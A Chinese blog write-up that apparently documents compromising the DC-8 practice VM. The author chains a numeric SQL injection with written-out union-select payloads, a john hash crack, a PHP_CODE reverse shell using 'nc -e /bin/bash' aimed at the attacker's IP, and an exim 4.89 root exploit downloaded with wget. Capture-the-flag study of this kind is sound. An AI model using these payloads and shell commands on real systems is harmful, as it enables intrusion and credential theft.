zoukankan      html  css  js  c++  java
  • DC-8靶机渗透实战

    前言:

    本文将讲述通过信息收集,再web站点的sql注入漏洞加john爆破登录后台,然后找到远程代码执行漏洞getshell,最后用exim4命令提权漏洞进行权限提升拿到最终的flag。

    0x00 环境

    VMware 15虚拟机软件;

    DC-8靶机虚拟机(NAT模式);

    kali虚拟机(NAT模式),ip为:192.168.106.129

    0x01 信息收集

    由于两台机子都开启的是nat模式,那么是在同一个网段里面。我们就可以是用namp先进行同网段的ip存活扫描。

    kali的ip为192.168.106.129,因此nmap扫描命令为:

    nmap -sP 192.168.106.1/24

     129是kali的ip,明显,靶机的ip为192.168.106.134;

    之后针对此ip进行全端口扫描,看是否开启web的端口。nmap命令为:

    nmap -sS -Pn -p- 192.168.106.134

     看到目标机开启了22和80端口,22是ssh协议,可以进行ssh爆破,然后再xshell远程连接,但是给了80,开了web服务,那先从web端开打,因为爆破成功率极小,除非是弱密码。

     访问弹出了web页面,用谷歌插件wappalyzer识别出了这是一个drupal版本为7的 CMS搭建的,后台脚本为php,容器为apache

      robots.txt文件也可访问

     习惯性查看页面源码看看有没有目录遍历,发现不存在。

    漏扫工具和目录扫描工具 扫描一遍.

     

     发现扫到的目录和robots.txt里面爆出来的目录基本一样,看了一些敏感文件,并没有看到自己需要的信息,也没有登录密码。

    后台登录的路径爆出来了是/user/login.

    我们在主页点击Details下面的三个选项,发现url带上了nid参数,并且下面每点一个选项,会爆出一些内容,很像是sql注入的点,再url后面打个'试了试,发现爆sql错误,说明确实存在sql注入。

     构造了一下,发现就是一个数值型注入。

    同时,漏扫结果也报出了存在sql注入漏洞。

    0x02 sql注入加john爆破拿后台登录用户密码

    既然知道了存在sql注入漏洞及注入点,我们先从此下手,测试之后,发现闭合payload为:

    http://192.168.106.134/?nid=1--+

    order by 猜字段为1,union select 1查看一下显示位,发现返回正确但是没有看到内容为1的位置,那么让nid=-1,将存在的显示位腾出来给我门用。

    直接爆数据库:

    http://192.168.106.134/?nid=-1%20union%20select%20database()--+

     爆表名:

    http://192.168.106.134/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema='d7db'--+

     发现users表,那么爆出users表的所有字段:

    http://192.168.106.134/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema='d7db' and table_name='users'--+

     看到name、pass字段,爆出里面的内容:

    http://192.168.106.134/?nid=-1 union select group_concat(name) from users--+
    http://192.168.106.134/?nid=-1 union select group_concat(pass) from users--+

     爆出两个用户,密码拿去在线hash解密都没有成功。这里百度了一下john,这个用户给了一个提示,kali里面有一个密码破解工具正是john,应该是要让我们用john破解其中的hash值。

    将第一个admin的hash值放入到一个hash1.txt文件中,然后是用默认的john字典进行爆破。

    发现admin的hash并没有解出,再将john用户的hash放入到hash2.txt文件中,用john再默认跑一下。

    结果很快的破解出了john的密码,密码为turtle

    将用户密码拿到后台/user/login去登录,成功登录,

    0x03 远程代码执行

    在后台找一找有没有上传点,发现了一处可进行编辑的地方

     且只有contact us可进行编辑,

    进去之后各种写入尝试,但是发现并没有什么用,就算写入有缓存,但是缓存文件名也不知道;

    百度了一下drupal7 后台getshell漏洞,发现其中有说到:

    选择PHP_CODE模式(编辑php代码)并预览,预览页面载入后就会执行代码

    那么是不是找到PHP_CODE模式就差不多找到写入点了。

    接下来还是在contact us的编辑里面疯狂找,我发现只有webfrom的settings部分有编辑器,这里应该可以利用。

     发现这个编辑器可以写入源码,左上角的源码处,点击发现写入的是html源码。

     既然可以写html,那么肯定可以选择写php的代码的模式,发现编辑器的下方有个选项,点击真的有PHP_CODE

     那么就可以开始写php代码了,先写了个phpinfo()看是否有显示,发现并没有

     保存了之后上面就说修改已上传,但是上传路径并未给出,找了其他地方也没有;

    试了system执行shell命令,发现也没有回显,按照网上的说法,php代码保存后会执行代码,这应该是在靶机上已经执行了代码,只是在后台不会显示出来。

    那么我们换一种思路,让靶机在后台执行命令即可,我们并不需要看见命令执行的情况,这就可以使用nc反弹shell的方法,用system函数写入nc反弹命令保存,然后它将在靶机上执行;在此之前在kali上开启nc监听,只要靶机上一触发nc反弹命令,shell将反弹到kali上面来。

    那么在编辑处先写入如下的php代码(<p>标签中我们可以任意写入文本,这里最好不要删除掉,因为有的时候网站会按照模板先解析<p>标签,如果没有可能会出错,所以不要将模板删了。):

    <p>flag</p>
    <?php system("nc -e /bin/bash 192.168.106.129 7777"); ?>

    ip是kali的ip,端口为为接收反弹的一个kali未被占用的端口。然后kali上面执行nc监听:

    nc -lvvp 7777

    kali上先执行,然后我们再进行目标站点的后台编辑php代码保存。

    保存后发现没有反弹呢,可能是contact us的编辑并没有结束,只是保存了其中一个设置信息而已,发现view这里要提交邮箱等信息,最后才完成。

     随便填入信息,然后确定,再submit,就成功反弹shell到kali上面了。

     

     用python命令转化为常规shell:

    python -c 'import pty;pty.spawn("/bin/bash")'

     根目录下并没有什么flag文件,现在并不是root权限,进步了root目录,看来需要进一步提权。

    0x04 exim4命令提权

    查看一下内核版本,去网上找一找会不会有对应的内核提权

     Debian 4.9.51-1的,在网上找了并没有对应的内核提权漏洞,脏牛提权试过了也不行;

    linux里面有个suid权限执行二进制文件,这个权限涉及的命令权限都很大。

    我们用find命令查询一下这些命令:

    find / -perm -u=s -type f 2>/dev/null

     每一个都拿去百度了,发现exim命令在使用时具有root权限,并且还看到一些有关于他的提权漏洞,那么在kali里面直接使用它对应版本的exp提权。

     搜索了一下,发现有很多exp脚本,那么我们先看看靶机的exim的版本信息:

     发现是4.89版本的,找到kali里面对应的本地权限提升的脚本文件(也就是local privilege esc),没有的话apt-get upgrade更新一下再search.

    我这里就没有,应该是kali很久没更新了,很多exp没有下载,upgrade了一下(需要等一些时间),发现出现了我想要的exp脚本。

     这个46996.sh的脚本就是我们所需要的,将它上传到自己的阿里云服务器上,然后在靶机的shell上面下载此脚本,当然,如果没有服务器的人可以在kali上面开启http服务,因为是一个内网,也可以进行下载。

     然后将此文件先复制到物理机上,然后xftp连接云服务器,将46996.sh拖入到服务器根目录下。

     在靶机shell上用weget将46996.sh下载到本地

     发现没有写入权限,只有换其他目录试,百度发现tmp目录下有写入权限

     成功下载,并将46996.sh文件赋予最高可执行权限777

    chmod 777 46996.sh

    执行脚本的时候始终报错,网上的解决方法和这个不匹配,

    那么只能复制exp的代码了,在网上找到46996.sh脚本的代码,链接:https://www.exploit-db.com/exploits/46996

    点击view raw查看代码,然后复制所有代码,在靶机的shell上vi新建一个exp.sh文件,然后将代码复制进去,我这里是用的xshell连接到kali操作的,最后保存,并赋予其777权限。

     现在可以执行脚本了

     但是执行完之后发现还是普通用户权限

    单独运行提权不行,我们打开文件看看脚本的使用规则,发现共有两条使用规则:

     看见第一个是default,先试试,要先exit退出到一级shelll来,然后执行第一条规则

     发现还是普通用户权限,接着exit退出使用第二条规则:

    ./exp.sh -m netcat

     发现已经是root权限,成功提权。

    然后进入root目录,查看到flag文件,打开查看到flag内容:

     总结:渗透之路总是曲曲折折,总是走不完,但是走得多了,自然会出现正确之路的方向!

  • 相关阅读:
    Java虚拟机详解(二)------运行时内存结构
    Java虚拟机详解(一)------简介
    分布式任务调度平台XXL-JOB搭建教程
    Kafka 详解(三)------Producer生产者
    服务器监控异常重启服务并发送邮件
    超详细的Linux查找大文件和查找大目录技巧
    linux清理磁盘空间
    Magent实现Memcached集群
    Nginx反爬虫: 禁止某些User Agent抓取网站
    redis集群搭建详细过程
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11838687.html
Copyright © 2011-2022 走看看